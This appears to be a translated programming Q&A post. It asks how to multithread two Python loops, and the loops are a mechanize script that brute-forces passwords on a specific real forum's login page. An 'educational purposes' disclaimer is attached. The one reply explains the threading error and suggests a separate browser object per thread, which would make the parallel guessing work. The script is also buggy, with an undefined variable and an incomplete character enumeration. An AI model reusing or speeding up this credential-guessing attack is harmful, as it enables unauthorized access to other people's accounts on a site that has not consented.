1
我已經在Python中製作了2個具有循環命令的函數。 爲了更快地製作過程,我想多線程化它們。如何在Python中使用多線程功能?
例如:
def loop1():
while 1 < 2:
print "something"
def loop2():
while 5 > 4:
print "something1"
如何運行這兩個的,所以它可以循環是這樣的:
something
something1
something
something1
我已經試過這樣:
import threading
from threading import Thread
def loop1():
print "Something"
def loop2():
print "Something1"
if __name__ == '__main__':
Thread(target = loop1).start()
Thread(target = loop2).start()
但它給了我HTML錯誤,並剛剛開始運行loop1。
全碼:
import mechanize
import itertools
import string
import threading
from threading import Thread
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
response = br.open("http://arkhamnetwork.org/community/login/")
br.addheaders = [("User-agent","Mozilla/5.0")]
def loop1():
br.open("http://arkhamnetwork.org/community/login")
start = 1
end = 2
for length in range(start, end+1):
for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):
br.select_form(nr=4)
br.set_all_readonly(False)
br.form['password'] = ''.join(c)
print "test",br.form['password']
br.method = "POST"
response = br.submit()
if response.geturl()=="http://arkhamnetwork.org/community/":
print "test ",''.join(x)
break
def loop2():
br.open("http://arkhamnetwork.org/community/login")
start1 = 2
end1 = 3
for length in range(start1, end1+1):
for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):
br.select_form(nr=4)
br.set_all_readonly(False)
br.form['password'] = ''.join(c)
print "test",br.form['password']
br.method = "POST"
response = br.submit()
if response.geturl()=="http://arkhamnetwork.org/community/":
print "test",''.join(x)
break
if __name__ == '__main__':
Thread(target = loop1).start()
Thread(target = loop2).start() # NOTE: i'm not trying to attack anyone or any site with this, I'm just testing out code for educational purposes.
的錯誤它給了我:
[test] Trying a
Exception in thread Thread-2:
Traceback (most recent call last):
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 810, in __bootstrap_inner
self.run()
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "just.py", line 39, in loop2
br.select_form(nr=4)
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py", line 506, in select_form
for form in self.forms():
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py", line 418, in forms
if not self.viewing_html():
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py", line 443, in viewing_html
raise BrowserStateError("not viewing any document")
BrowserStateError: not viewing any document
,並保持循環1.
'br'是共享的,也許它不是線程安全的,請嘗試在每個函數(線程)中創建一個。 – totoro